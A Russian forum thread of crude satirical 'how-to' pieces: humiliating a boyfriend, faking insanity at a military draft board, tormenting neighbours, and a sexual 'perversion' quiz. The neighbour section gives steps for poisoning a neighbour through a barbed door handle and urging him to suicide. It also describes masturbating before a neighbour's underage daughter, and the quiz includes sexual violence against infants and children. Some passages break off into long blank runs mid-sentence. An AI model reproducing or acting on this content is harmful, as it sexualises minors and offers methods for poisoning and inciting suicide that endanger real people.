В постели: "Ты слишком груб и нетерпелив. Вот Павлик...он часами доводил меня своими ласками до исступления. Как только вспомню эти горячие волны, которые по десять раз за ночь поднимали меня на вершину блаженства..ооо... С тобой же мне постоянно приходится имитировать оргазм, жалкий лузер."
"Павлик умел себя вести в порядочном обществе, не то что ты - тупая деревенская свинья"
"Нищий скупердяй! Павлик всегда оплачивал мои телефонные счета"
"У тебя абсолютно нет вкуса - я стесняюсь идти рядом с тобой по улице. Вот Павлик - он знал толк в модной одежде" Ну а после нескольких дней подобной терапии, тебе следует добить неугодного мальчика. Во время вашей сладкой прелюдии на раскладном ложе любви, достань припасенный заранее штангенциркуль и, измерив по всем параметрам достоинство бойфренда, печально произнеси: "Здесь Павлик тебя тоже серьезно обскакал".


3. 9 с половиной недель

Приготовь побольше взбитых сливок и пообещай своему мальчику чудесную ночь любви. Без обмана. Поставь романтическую музыку, зажги свечи и нежно покрой интимные и не очень места своего Ромео этим шедевром кулинарии. Ну а затем, естественно, начни мега-сексуально слизывать с него сливки. Так и быть, пусть он покайфует минут пять, а когда ты практически доведешь его до пика наслаждения, тут же сунь два пальца в рот и блевани ему на грудь со словами "Я давно тебе хотела показать, что меня от тебя физически тошнит". Думаю временная импотенция и серьезный психический срыв ему обеспечен.


4. Девушки бывают разные...

Начни серьезно интересоваться компьютерами. Покупай умные книги вроде "Архитектура RISC", "Программирование для встроенных систем", "PERL с нуля" и усиленно делай вид, что ты их с интересом читаешь. Перестань использовать косметику, вообще следить за собой (я понимаю, что сложно, но надо себя пересилить - это все временно). Так же будет крайне замечательно, если ты начнешь принимать водные процедуры раз в одну/две недели и начисто забудешь слово "эппиляция". Полностью возьми в свое личное пользование компьютер бойфренда. Получи поинта или ноду в ФИДО и тут же с головой окунись в FTN-жизнь. Ходи абсолютно на все поинтовки и сисопки, проводи горячие ночи за чтением почты (а не с ним в постели) и полностью перейди на компьютерно-фидошный сленг. Питаться следует исключительно чипсами (вообще забудь про слово "кухня") и пивом. Бутылочки три-четыри девятой балтики у компьютера - это как раз то, что тебе нужно. Свое общение с бойфрендом сведи к минимуму: при любой его попытке завести слюняво-романтичные беседы, тут же переводи тему разговора на разгон процессоров и матричное кодирование сигнала. Следует начисто отказаться от реального секса: пусть твой мальчик застанет тебя пару-тройку раз мастурбирующей на откровенные фотографии породистых самцов с pornoz.com. Ну и неплохо будет пофлиртовать в icq/irc с десятком-другим "Вольдемаров". Что? Твой бойфренд не повесился и все еще живет с тобой под одной крышей? Тогда прости его - он исправится.



5. Успокойся, животное

Проведи ночь вне дома и, явившись под утро к бойфренду, кинься ему на плечо и зарыдай. Вперемешку с соплями, слезами и губной помадой говори что-нибудь вроде: "Ну вы, мужики, и уроды...Кобели...Вам лишь бы добиться своего, а потом хоть трава не расти...Вот зачем утром вы телефон спрашиваете и делаете вид, что записываете...Ведь не позвоните больше никогда...Вот и сегодня...Тоже спросил...И ты наверное тоже, бедным девочкам не звонишь...Урод...Не трогай меня...Не трогай, я сказала!!! Сам успокойся, животное."


6. "Как там было у Кафки...", - задумчиво протянула Наташа

Несколько месяцев не вылезай из библиотеки им. В.И. Ленина. Прочитай всю графоманскую писанину Ницше, Канта, Шоппенгауэра, Юнга, Фрейда, Кафки, Джойса, Сартра, Кизи, Лири и прочих инвалидов интеллектуального труда (полный список возьми у своей знакомой Наташи...да-да, у той заумной уродины в очках из литинститута). Если в ответ на предложение бойфренда "давай сзади" ты сможешь разразиться десятиминутной тирадой о правах женщины, скрытых сексуальных комплексах приятеля, натурфилософии, наладке позитронных ускорителей и роли Будды в развитии духовной мысли Японии, то мой тебе респект - вылезай из библиотеки. Твой бойфренд сам убежит от тебя через два дня, навеки приобретя интергалактический комплекс неполноценности. Ну а чтобы восстановить душевное равновесие и преждевременно не уйти из жизни - пару недель занимайся непрерывной сексуальной терапией: книжное дерьмо из головы можно только вытрахать. Главное - ни в коем случае не разговаривай со своими партнерами, шифруйся под дурочку, чтобы они не смылись от тебя досрочно.


Девушки, я безумно виноват перед вами. Это я написал "Как избавиться от подружки", "Самый правдивый женский гороскоп" и прочие труды, пропагандирующие тотальную дискриминацию по половому признаку. И ведь сколько еще всего напишу! Заранее простите меня пожалуста: эта статья канает за отмазу? Я моральный урод и пишу для точно таких же моральных уродов, которые считают вас ограниченными похотливыми дурочками. А все дело в том, что мы, мужчины, попросту избранные инопланетяне-десантники, которых заслали на вашу, женскую, планету с загадочной миссией...вступить с вами в КОНТАКТ...



   Время пришло в гости отправиться, ждет тебя старинный друг. Он толстый и славный, твой друг самый главный… Да, комрад, пробил исторический час: на тебя снизошла повестка в военкомат. Слабовольные типы сразу же побегут во всяческие комитеты солдатских матерей, начнут писать письма в Совет Европы и жаловаться на нарушение прав человека. А зачем, спрашивается? Ведь прохождение медкомиссии - это чудо Господне! Слепые прозревают, глухие начинают слышать, хромые буквально готовы хоть сейчас кросс бежать, если верить заключению врачей. Алиллуйя! Не упускай столь редкий случай повеселиться - отправляйся в военкомат. Быть может от армии ты и не откосишь, но вот что тебя в этом заведении запомнят надолго - это точно.

Операция “Пневмослон”

Для начала следует закапать глаза “Визином”, чтобы они преобрели нездоровый блеск и белизну. Затем нужно повесить за спину советскую бензопилу “Дружба”, взять в руки сачок для бабочек, мухобойку и уже в таком виде отправиться проходить медкомиссию. Да, чуть не забыл: с собой обязательно надо захватить ножницы и папиросную бумагу. Все, хер уи гоу! И вот перед тобой он: заветный коридор со множеством дверей и сидящими на скамейках юношами, а также их нервными родителями. Очередь к терапевту, очередь к окулисту… Тебя это не касается: крадущейся походкой, постоянно оглядываясь по сторонам и изредка нагибаясь (будто над тобой кто-то пролетает) медленно и торжественно иди к кабинету психиатра. Не волнуйся, тебя никто не остановит и не заорет, что надо встать в очередь - все поймут, что твое дело крайне срочное и не требует отлагательств. Смело заходи внутрь и игриво бросай с порога:
- Доктор, а я к вам…
- Хорошо, хорошо, голубчик - проходите, садитесь.
Садишься за стол, кладешь на него папиросную бумагу и начинаешь стричь туда ногти с рук. После окончания этой захватывающей процедуры скручиваешь папироску, прикуриваешь, затем глубоко затягиваешься и выпускаешь клубы ароматного дыма доктору в лицо:
- Доктор, вы знаете, они повсюду! Даже сам Лорд Пневмослон боится этих тварей. СМЕРТЬ! СМЕРТЬ! Я ДОЛЖЕН ВСЕХ УБИТЬ!
Сразу же после этих слов туши самокрутку о ладонь и с диким воплем бросайся на медсестру-ассистентку. Лови ее сачком и бей по заднице мухобойкой. Постарайся при этом задеть и уронить на пол какие-нибудь склянки и инструменты. Схвати свое дело и начни его натурально жрать. Когда в кабинет прибежит охрана, тотчас залезь под стол, включай бензопилу и безутешно рыдай. На все вопросы только качай головой и кричи: “Вы не понимаете! Я должен всех убить!!!”

Девушки из шоу

Достань фиолетовый парик, мини-юбку из салатового пластика, пояс с подвязками и сексапильные чулки. Одевай весь этот веар и попроси сестру или подружку сделать тебе суперский мэйкап. Глазки, ротик, ногти - все дела… В военкомате, проходя по коридору до кабинета какого-нибудь офицера, заигрывай с самыми симпатичными парнями (в первую очередь с секьюрити): “Ма-а-альчики, а вот вам мой телефончик, надеюсь вы не дадите скучать малышке Кики”. Войдя в кабинет незамедлительно прошествуй к столу самой сексапильной походкой, небрежно брось сумочку на стол и, зайдя вояке за спину, начни ласково массировать ему плечи:
- Това-а-арищ военный, а что это вы порядочным девушкам повестки в военкомат высылаете? А вас же столько мальчиков милых есть. Ну-ка отвечай, шалунишка!
- Д..да как вы смеете? А ну быстро прекратите поясничать! Как вас зовут?
- Кики…тоесть, простите, призывник Шеповалов (издевательским тоном). Военный, а наденьте фуражку, меня это та-а-ак возбуждает.
-Пошел вон отсюда, сопляк!
Обиженно фыркни и быстро встань в угол. Там достань свой пеппер и, периодически оглядываясь на вояку, со стонами начни сеанс легкой мастурбации. Во время этого процесса непрерывно говори что-нибудь вроде: “Да, я гадкий, испорченный мальчишка. Отшлепай же меня скорей. Ооо, нет, лучше пошли ко мне домой - у меня есть удавка, плеть, наручники…Ооо, я буду твоим рабом, грязью под твоими ногами, я хочу чтобы ты кончил мне в правый глаз”. Ну а когда кто-то будет входить в дверь - тотчас же бросайся на колени перед офицером и делай вид, будто только что закончил делать ему минет.

Килл эм олл

Сделай аккуратную короткую стрижку и подбери прикид в духе фильма “Коммандос”: защитная куртка с навешанными на ней учебными гранатами, начищенные до блеска армейские ботинки, сложенный парашют за спиной. Лицо измаж черной краской в целях маскировки, а на пояс повесь большой охотничий нож и массивный пневматический пистолет. Также будет неплохо нарисовать себе черной тушью пару псевдо-татуировок на шее: большую, жирную свастику и группу крови с коэффициентом совместимости органов. Окей, ты готов к труду и обороне! В военкомате эффектно чеканя шаг своими металлическими набойками загружайся в кабинет к самому важному вояке и громогласно рапортуй с мега-энтузиазмом:
- Товарищ Главнокомандующий Объединенными Силами ООН, призывник Шеповалов для прохождения медицинской комиссии и дальнейшего проследования в область боевых действий прибыл!
- Вольно, сынок, не стоит так усердствовать…да и какой я тебе главнокомандующий.
- Так точно, товарищ главнокомандующи                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 к ликвидации?
И тут же, не дожидаясь ответа, полосни по своему плечу ножом, слижи появившуюся кровь, а затем бросайся к двери с жутким воплем.

Люди в черном

Одень строгий костюм, прикрепи на него бейджик “Анатолий Звягинцев: Межгалактический Комитет По Вопросам Соблюдения Транснациональной Политики и Прав Гуманоидов, старший ревизор”. Сунь в одно ухо наушник, одень черные очки и направляйся в свой военкомат. Там гуляй, разглядывая стенды на стенах, призывников, и служащий персонал, постоянно что-то записывая и отмечая в своем блокноте. Периодически заходи в различные кабинеты, невозмутимо бери дела призывников и, опять же делай пометки. Игнорируй любые вопросы и обращения к тебе. Периодически отпускай в никуда едкие замечания вроде:
“Так-так, значит с плоскостопием взяли…учтем”
“Угу, коэффициент допустимости генетической копрессии превышен на 28 процентов”
“Ничего, тех двух майоров под трибунал, а этого…ну что-нибудь придумаем”
“Кто это у нас тут совсем со взятками обнаглел, ага такой-то (произносится фамилия хозяина кабинета)”
“Разжалую ублюдков к чертям собачим. Будут на Новой Земле землянику сеять, генералы фиговы.” В конце своей миссии, когда тебе принесут кофе и кейс с баксами, возьми с полки свое дело и скажи: “Ага, и Шеповалова загребли, сукины дети, ну я Владимир Владимирычу передам, он вас всех через одного у стенки построит”.

Гашиш и Карлсон

Из эквипмента тебе понадобится: несколько таблеток и капсул всевозможных цветов и размеров (подойдут любые мультивитамины), пакетик с растертым в порошок аспирином, шприц, а также ампула с какой-нибудь безопасной для организма жидкостью (например с физраствором). Дня три сиди дома и ничего не ешь, чтобы приобрести характерную впалость щек и зеленоватый цвет лица. А уже перед самим походом в военкомат сделай себе дополнительный мэйкап: круги под глазами, следы от уколов на предплечье и между пальцами, грязные спутанные волосы. Одеть следует жуткую рваную рубашку с короткими рукавами, чтобы сразу было ясно, какой ты передовик самодеструктивного труда. В военкомате не суетись, жди очереди, все время чешись и разглядывай свою обувь. Перфоманс же следует устроить у терапевта. Чуть-чуть поговори с ним для отвода глаз, а затем вдруг резко закати глаза и жутким голосом попроси стакан воды. Когда тебе его дадут, тотчас демонстративно выпей все таблетки и раскатай на столе пару дорожек аспирина. После того, как на глазах офигевшего врача ты их смачно вынюхаешь, следует сделать довольный фэйс, достать шприц и ввести в него содержимое ампулы. Затем скажи: “Вот черт, опять жгут забыл. Доктор, вы мне руку не подержите? Или ладно, все равно там уже колоть некуда - все вены дохлые, придется в шею”. С этими словами встань перед зеркалом, шумно подыши и засади физраствор в увеличенную вену на шее. Обожди несколько секунд и расслабленно опустись на пол со словами: “Доктор, я ведь совсем не против службы в армии. Но вот одна просьба есть: вы бы не могли меня порекомендовать для опытов в какую-нибудь сврехсекретную био-лабораторию, чтобы на мне новые сыворотки и вакцины испытывали?”

Операция “Пневмослон-2”

Как ты уже наверняка догадался, в центре нашего внимания снова окажется душка-психиатр. На этот раз, однако, тебе не придется брать с собой бензопилу и закапывать глаза - ты должен выглядеть как самый обычный ботан, всенепременно в очках и с постоянной улыбкой на лице. Робко, с неуверенной миной на лице заходи к нему кабинет: Здравствуйте, Доктор! Здравствуй, здравствуй. Проходи - садись. Доктор, а это правда, что мне дадут оружие? Да, конечно, почему бы нет, ты же защитник своей Отчизны. Доктор, а правда что я смогу из него убивать людей? (постарайся взвизгнуть, когда будешь произносить слово “убивать”) Раз - я выстрелил и он умер. Лежит весь такой мертвенький, холодный. А я подойду и поцелую его в губы. Доктор, а я могу своих сослуживцев убивать? (снова взвизгни) Ну да, конечно могу, а то вдруг они предатели и шпионы. Доктор, доктор, у вас случайно не будет чуть-чуть китайского супер-клея? Знаете, я очень люблю иногда подышать китайским супер-клеем. Особенно, знаете ли, если убьешь кого-нибудь, то обязательно нужно вовремя подышать - иначе тебя может укусить призрак. Но я не боюсь призраков, доктор. И еще, знаете что: меня в детстве никогда не насиловали. Да-да, это правда. И еще об меня никто и никогда не тушил сигареты! ТЫ СЛЫШИШЬ, МЕРЗКИЙ СТАРИКАШКА, НИКТО И НИКОГДА!!! (эту фразу нужно проорать психиатру в лицо, брызгая фонтанами слюны) Вот. Доктор, а вы когда-нибудь убивали кочергой маленьких детей? Знаете, мне их так жалко - уж очень они кричат сильно. Так у вас клея лишнего не найдется?

Окей, фэлла, я думаю ты просек, как надо себя вести в этом замечательном учреждении. Главное - побольше артисцизма и импровизации, хорошенько войди в образ и ты проведешь замечательный денек в дурке, КПЗ или изоляторе. Дерзай!



      Ах вы суки, твари безмозглые, ни хрена вы делать не умеете, засуньте свои статьи себе в задницу и там два раза проверните. С уважением, Сергей.

            Сергей Покровский, "Избранное"

Еу, нигга! Представь-ка себе следующую ситуацию: приходишь ты домой после насыщенного трудового дня, стелишь приятную мягкую кроватку, ложишься и погружаешься в сладкие грезы. Участки коры головного мозга последовательно отключаются, все проблемы уходят вместе с остатками личности и ты остаешься наедине с генератором сладострастного тягучего бреда, который обладает тотальнейшим эффектом присутствия. Спа-а-а-ать…
- Привет, Джулия!
- Здравствуй, сладкий. Скучал без меня? Знаю - скучал.
- Ты сегодня одна?
- Нет, что ты. Через пару минут подойдет Бритни, Лориса, Русалочка Ариэль, Джордж Майкл, Мик Джаггер и та школьная учительница из твоих снов пятилетней давности.
- А чего это еще за Лориса?
- Крофт….Или Палмер - там разберемся, кого захочешь - та и подойдет. Кстати, а на утро я тебе припасла монаха Сен Ляо из храма Шаолинь. Помнишь ваши веселые приключения в ванной три сна назад?
Джулия Робертс толкает тебя на возникающую вдруг из небытия воздушную кровать и нежно садится сверху. С заговорщецкой полуулыбкой она медленно покрывает поцелями все твое тело, постепенно сползая все ниже и ниже. И вот уже ее зубки ухватились за молнию на твоей ширинке…

Внезапно в сон врывается Дональд Дак с громкоговорителем и начинает издавать жуткие сиреноподобные звуки. И вдруг ты понимаешь, что это совсем не Дональд трубит, а просто сработала противоугонная система соседской машины. Кора головного мозга растормаживается, сознание возвращается к действительности, а всю твою сущность переполняет единственное желание - кинуть в окно противотанковую гранату. Но вот сирена отключается, и Джулия опять приступает к своему чудесному занятию. Однако через несколько минут грезогенератор вновь отрубается по вине доносящегося из-за стены громкого собачьего лая и равномерного поскуливания. Около получаса ты вслушиваешься в эти звуки и теряешься в догадках, что же такое вытворяют хозяева со своим питомцем. Затем не выдерживаешь - и с чувством несколько раз ударяешь ногой в стену. Собачий вой прекращается. А через пять минут за стенкой вдруг включается елеслышимый моторчик и периодически доносится монотонное тихое постукивание. Ты пытаешься заснуть, однако на фоне мертвой тишины эти странные звуки заполняют твой мозг и усиливаются в десятки раз. Тебе все ясно? От соседей нужно избавляться! НЕМЕДЛЕННО!

Хэй герл хэй бой!

Тебе понадобится помощь всех твоих друзей и подружек: каждую ночь в течении недели или двух необходимо будет устраивать мега-безбашенную вечеринку. В час ночи заряжаешь в музыкальный центр кассету Сектора Газа, закручиваешь все регуляторы громкости на усилке под завязку и разворачиваешь колонки к стене, за которой притаился коварный враг. Через минут десять, когда соседи хорошенько проникнутся концептуальным творчеством этого вокально-инструментального ансамбля, можно будет приступать к следующей фазе нашего дестроя. Отправляйтесь всей толпой в прихожую и красочно ее оформляйте: повсюду должны быть разбросаны в художественном беспорядке пустые бутылки из-под водки, шприцы, горы таблеток, канистры с бензином, мокрые тряпки, тюбики от клея “Момент”, использованные презервативы и невменяемые товарищи. Посредине же всей этой инсталляции необходимо разместить человек пять-шесть, которые раздевшись до основания, будут имитировать (или реально осуществлять - тут уж на любителя) недетскую сексуальную оргию. Так же неплохо бы было присобачить под потолок стробоскоп и позаботиться о соответствующем звуковом сопровождении (сладострастные стоны, дикие вопли, скрежет циркулярной пилы, которая кромсает человеческие тела итп.). Вечеринка…у Мэнсона дома…гуляют все торчки и некрофилы района. Когда охреневшие соседи все-таки найдут в себе смелость (Вася, мужчина ты или нет!) заглянуть к вам на огонек с целью выразить свое легкое недовольство происходящим - следует тут же пригласить их присоединяться, а также провести небольшую экскурсию по прихожей (будет очень здорово, если в этот момент кто-нибудь из невменяемых товарищей начнет пускать пену изо рта да и вообще изобразит мучительную смерть в жуткой агонии). Теперь выпроваживай соседей и, не выключая музыку, осуществляй подготовку к третьей и заключительной фазе вашего культурного мероприятия. Какую именно подготовку? А такую именно, чтобы приехавший через десять минут отряд ОМОНа застал в твоей чистой и опрятной квартире милых юношей и девушек, играющих в шахматы под тихие, завораживающие звуки песни "Мы желаем сча-ааа-стья вам, счастья в этом ми-ии-ре большом…“.

Оставайся, мальчик, с нами…

Если у соседей есть несовершеннолетняя дочка (или сын: это монопенисуально, на самом деле - в таком случае тебя подружка заменит), то они серьезно попали. Во-первых, раз ты успешно провел описаную выше акцию, то все психологические козыри уже буквально распиханы по твоим карманам. Все, что от тебя требуется - это на глазах у соседей подойти к их дочке на улице и минут 10-20 оживленно с ней побеседовать. Говорить можешь о чем угодно, хоть анекдоты детсадовские рассказывать. Будь уверен: завтра ее родители переедут в другой город, страну или галактику потому как назвать тебя “дурной компанией” после вчерашней вечеринки ни у кого язык не поднимется. Это все равно что обозвать проказником Джека-Потрошителя. Если же с вечеринкой у тебя все обломалось - не печалься и не хнычь, мы дадим стране угля! Каждое утро, когда мамочка будет провожать твою новоиспеченную малолетнюю соседку в школу, ты должен непременно присутствовать на лесничной площадке со спущенными штанами и, подглядывая из-за угла, вовсю мастурбировать, пока девушка ждет прихода лифта. Естественно все это нужно проделывать таким образом, чтобы мама была в курсе твоих нехитрых манипуляций. Кстати во время этого процесса неплохо было бы напевать какую-нибудь позитивную песенку из тех, что крутят на радио “Русский Шансон”. Можешь например с хрипотцой и надрывом в голосе шептать в такт движущейся руке: “Мы были этапом…на северной зоне…и ты, малолетка, не ведала зла…та-та-тата-нана-на-на-на”. Ну и, конечно, ты просто обязан проводить девушку в школу…передвигаясь естественно короткими перебежками от одного дома к другому и сжимая в руках громадный окровавленный тесак.

Кащенко онлайн

Для начала раздевайся до гола и цепляй к члену маленький колокольчик, на котором повязан аккуратный синий бантик. Теперь возьми несколько баллончиков с краской дневного свечения различных цветов и сотвори на своей голове тотальнейший оранжево-фиолетово-розовый дестрой. Одень кокетливый биретик, повяжи вокруг шеи изящный платочек аля смазливый морячок-педераст и нарисуй на груди жирную черную свастику, из концов которой капает кровь. Ну что еще…по-моему образ создан, хотя нет, все-таки твоему новому стилю слегка не хватает законченности: давай-ка повесь на шею небольшой амулет - искусственый член внушительного размера и, пожалуй, закапай глаза какими-нибудь расширяющими зрачки каплями. Ну все, теперь ты готов к труду и обороне: отправляйся в этом виде на лестничную площадку и настойчиво стучись в дверь к ненавистным соседям. Когда тебе откроют - начинай загадочно вращая головой отрешенно водить взглядом по внутренностям квартиры и на все вопросы или реплики соседа с чувством произноси какую-либо из приведенных ниже фраз:
“Я хочу убивать! Убивать! Убивать! Убивать!”
“Бандиты пронюхали, что мне известна формула абсолютного топлива. Будеттт ттрррудно, Ким, пошлешь Говоррруна.”
“Это заговор - меня хочет изнасиловать маленький зеленый слоник Ножиклидабу. Он живет в твоей голове! Дай же скорее мне его вырезать!”
“Алиса…мелафон у меня! Мои мысли теряются в своих собственных смыслах. Соси, детка, cоси!”, - после этой фразы необходимо загадочно сунуть себе в рот фаллоимитатор.
“Эни бени харе рама турбо урбо супермен! Зовите меня просто: Мистер Дельтаплан!”

Месть Вуду

Крайне простой в реализации способ, требующий однако наличия у тебя всех ингридиентов для приготовления зелья вуду (рыба фугу, галлюциногенные жабы, морской червь итд). Если вся эта отрава у тебя имеется - отлично, смешивай все в нужных пропорциях, руководствуясь пыльными старинными манускриптами. Если же нет - напрягай знакомого безбашенного врача, который снабдит тебя каким-нибудь дешевым но мощным психотропным зельем. Ну на крайний случай можешь концентрированный отвар из мухоморов заюзать. Затем, в лучших традициях колдунов вуду тебе необходимо густо смазать ручку соседской двери этой колдовской дрянью и незаметно прикрепить поверх небольшой кусок колючей проволки с целью незамедлительного попадания галлюциногенных жаб в кровь, а затем мозг объекта. Когда твой сосед вернется с работы и, схватив ручку двери, тут же вскрикнет и обматерит ублюдских подростков - можешь смело залиться дьявольским хохотом и, потирая мерзкие ручонки, уставиться на часы: тебе теперь необходимо выждать час-полтора. Ок, срок истек, твой сосед теперь находится в помутившемся сознании на грани совместимого с жизнью состояния: смело трезвонь ему в дверь, а когда он ее откроет….Да ты сам знаешь, что делать, когда он ее откроет: расскажи ему о прелестях полета с четрынадцатого этажа; о червях-паразитах, которые живут в глазах; о кухонном топорике, которым очень хорошо размозжить самому себе череп; о…ну чего я тебя вообще учу. На суде же, когда тебе будут выносить смертный приговор, можешь смело заявить: “Он сам виноват - нечего было мне спать не давать!”

0

23

Супер, пиши)

0

24

продолжение про даню
   Я бы, наверное, немерянно космокредов платил тому человеку, который вместо меня ходил бы отливать по утрам. А то достало уже: только во сне пристроишься сзади к осли…тоесть к Дэвиду Коп…да что ты будешь делать, я говорю только к Бритни Спирс пристроишься сзади во сне и вдруг надо срочно просыпаться и ползти в туалет. Да и вообще трудное это дело, спросонья после дикой оргии пытаться облегчить свой организм. Вот сегодня, например, я как планировал: пойти отлить в туалет, а заодно заглянуть на кухню и выкинуть пустую банку из-под спрайта в мусорное ведро. В результате же я выкинул банку в толчок, а отлил в ведро. Ну куда это годится?

Кстати, сейчас спускался в магазин "24 часа" за…ммм…ладно, не важно за чем. Главное, что там на витрине лежат презервативы с ценником, на котором написано: "ПРЕЗИКИ - 25р". Я еще подумал "Вот, Даня, ты наконец-то и поехал крышей по настоящему, добро пожаловать в шизофрению". Оказалось нет - реально такой ценник. Ну я сразу обрадовался, решил что продавщица нестандартно мыслящая и нереально прогрессивная, говорю ей: "давай может за прилавком перепихнемся по быстрому!". А она чего-то покраснела вся да как заоорет: "А ну пошел вон отсюда, электроник недоделанный!!!". Да какое она право имеет так меня называть? Мало ли что я c клавиатурой в обнимку пришел - может у меня несчастье какое. Вот был бы я гинотизером, так совсем другая жизнь бы началась. Я бы просто посмотрел этой чиксе в глаза и тихо произнес: "Вы спокойны, чувствуется легкая сонливость, вы закрываете глаза и остается только мой голос…мой голос…теперь вы медленно расстегиваете товарищу гипнотизеру ширинку, надеваете презерватив и начинаете ласково делать минет". Аааа, стоп, не читайте! Это я чего-то размечтался вслух.

А все дело в том, что сегодня мега-знаментельный день. Выходит в свет третья и заключительная часть сиквела "Эрегированный Космос". Как хорошо известно большинству читателей, это самый нездоровый тест на проверку сексуальной извращенности. Лишь сирые и убогие обыватели обходятся обычными половыми сношениями с регулярностью раз в две недели. Для настоящих же людей с большой буквы, мастурбация - это религия, так называемые извращения - стиль жизни, а садомазохизм - гражданская позиция. Пройди же и ты последнюю часть теста и узнай, дано ли тебе слиться в бесконечном трансцендентальном оргазме с Эрегированным Космосом или твой удел - всего лишь жалкое существование в мире забитых тупой моралью и социальными предрассудками человеческих существ.

Электро-прохладительный эрегированный тест:

(Выбери вариант ответа на каждый из приведенных вопросов и сложи вместе числа, стоящие перед этими вариантами.)


Какие ассоциации приходят в твою голову, когда ты ешь толстую скользкую сардельку?

1. Никаких.
2. Эээ…никаких.
3. Ээээ…ГЫ-ГЫ-ГЫ….никаких.
4. Ну и ублюдок же ты, Даня!


Что тебе снилось сегодня ночью?

1. Мне снилось, будто я улетел в прекрасную сказочную страну и встретил там очаровательную девушку. Мы поженились и стали жить вместе около чудесного озера. Через год у нас роди                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ну на сверхзвуковом бомбардировщике и залил ее всю напалмом. Приземлился я около дымящейся зловонной котловины, которая когда-то была чудесным озером. Там я нашел трупы Дарта Вейдера, прекрасной девушки и летающей головы лохнесского чудовища, и тут же мерзко и извращенно надругался над ними. Затем я отправился по дороге, вымощенной желтым кирпичом, в Изумрудный Город, надеясь застать там Элли с Тотошкой и вступить с ними в нестандартную половую связь.
4. Мне снилось, что я - Даня Шеповалов. А когда я проснулся, то с ужасом понял, что так оно и есть.


Кто такой Даня Шеповалов?

1. Не знаю.
2. Не знаю и знать не хочу.
3. Моральный урод, шизофреник и графоманствующий педонекрозоофил.
4. Вирус, занесенный на Землю из клоаки космоса.
5. Выживший из ума на почве спермотоксикоза юноша.


Назови самое захватывающее сексуальное переживание в твоей жизни:

1. Однажды я трогал девушку за грудь.
2. В пять лет я просмотрел справочное пособие по генекологии, нашел там фотографию женских половых органов и потом целый день олицетворял собой заводную игрушку "Блевунчик".
3. Как-то раз я измерял штангенциркулем длину и ширину своего члена, предварительно помастурбировав на фотографию Юрия Гагарина, и в этот самый момент в комнату зашла моя сестра.
4. Однажды меня укусила в член змея, но я не растерялся, сломал себе два нижних ребра и хорошенько согнувшись, отсосал кровь из ранки. C тех пор я не трачу свое время и деньги на девушек.
5. Был я как-то раз в зоопарке…


Каким по счету и с какого конца ты бы хотел находиться среди голубых, которые трахаются "паравозиком"?

1. Последним - тогда я буду трахать всех
2. Первым - тогда меня все будут трахать
3. Вторым с начала - тогда у меня будут свободны руки, чтобы мастурбировать первому.


Кто был твоим первым сексуальным партнером?

1. Наташа (Аня/Петя/Вася/Каролина)
2. Не помню
3. Искусственная вагина
4. Богдан Титомир
5. Труп инопланетянина, который я нашел в обломках космического корабля рядом со своим домом. Он был весь синий, беззубый, от него страшно несло мочой, а еще он держал в руках полупустую бутылку водки.


Твоя излюбленная сексуальная фантазия:

1. Как декан сделает мне минет на глазах у всего университета.
2. Как меня клонируют, мой клон изменяет пол, и мы трахаемся. Тоесть по сути я физически займусь сексом сам с собой. Однако меня крайне тревожит такая мысль, что я вполне могу сам себе не дать.
3. Как Кристина Агилера, Моби, Стинг, Лена Зосимова, Фэтбой Слим и группа Тату выстраиваются в живую очередь передо мной и громогласно скандируют: "Мы хотим твой член!" Я выжидаю некоторое время, затем отрезаю свой пенис острым лезвием, протягиваю его Моби и говорю: "Держите, уговорили…".


В какую штанину ты обычно заправляешь свой пенис?

1. В левую
2. В правую
3. Я, между прочим, вообще-то девушка
4. Мой пенис всегда находится в эрегированном состоянии, а поэтому я его прикручиваю проволокой к поясу.
5. Свой член я всегда остегиваю и кладу в специальный кармашек на груди


Представь, что тебе поручили написать эротическо-фантастический роман. В чем будет заключаться его сюжет?

1. Космический рейнджер Майк Гибсон спасает девушку из лап мерзких пиратов, обитающих в поясе Ориона. Они влюбляются друг в друга и живут вместе долго и счастливо.
2. Десять тысяч человек случайно попадают в пространственно-временной портал и оказываются через 200 лет в будущем. Причем в это время на Земле действует диктатура единого мирового правительства, которое с целью избежания перенаселения поощрает гомосексуальные контакты и осуществляет дезинтеграцию личностей партнеров в наказание за сексуальную близость между мужчиной и женщиной.
3. Биомеханические насекомые высаживаются на планету и насилуют женщин, детей и стариков. Некий герой пытается боротья против них, однако в отместку злобные насекомые начинают насиловать и мужчин. Тогда все мужчины собираются вместе, ловят этого супергероя и образцово-показательно кастрируют, чтобы выслужиться перед инопланетными захватчиками.
4. Всю вселенную наполняет некий биомозг-желе, который питается спермой и насилует 6-месячных детей в животе матери.


Какая по-твоему пытка с применением секса является наиболее эффективной?

1. Медленно тереть головку члена мелкой наждачной бумагой, одновременно отрезая скальпелем по маленькому кусочку от яичек и заставляя жертву их есть.
2. Привязать мужчину голого к дереву и усадить рядом с ним несколько прекрасных обнаженных девушек, которые наперебой будут читать ему вслух эротические рассказы. К пенису же этого перца следует присобачить хитрое устройство, которое по достижении определенного уровня эрекции будет капать челу в правый глаз соляной кислотой.
3. Посадить двух мужчин (желательно приятелей), у которых надо добыть интересующие нас сведения, в закрытый подвал. И поставить условие, что тот, кто первым откусит другому головку члена, получит свободу, проигравшего же подвергнут мучительным пыткам.


Представь, что ты зашел на порно-сервер. Нет, я понимаю, что ты по таким серверам конечно же не ходишь, но просто представь. В таком случае, какой раздел ты посетишь первым делом?

1. Обнаженные девушки.
2. Оральный секс.
3. Групповуха на кладбище.
4. Изнасилование 80-летней учительницы русского языка и литературы отрядом октябрят.
5. День рождения Дэцла в клубе Ночные Волки.


Когда ты был маленьким, кто из кино и мульт-героев тебя больше всего возбуждал?

1. Констанция из "Трех Мушкетеров".
2. Робот Вертер из "Гостьи из будущего".
3. Овчарка из "Ко мне, Мухтар".
4. В меру упитанный мужчина в самом расцвете сил из "Малыш и Карлсон"
5. Гусеница из "Алисы в стране чудес"


Какие слова ты говоришь своему сексуальному партнеру после окончания полового акта?

1. Любимая, это было великолепно!
2. Если ты кому-нибудь расскажешь - я тебя убью!
3. Надо бы закопать это дуру, пока ее не хватились.
4. Аааааа! Ах ты дрянь, а ну разожми челюсти, я сказал!!!


Результаты:

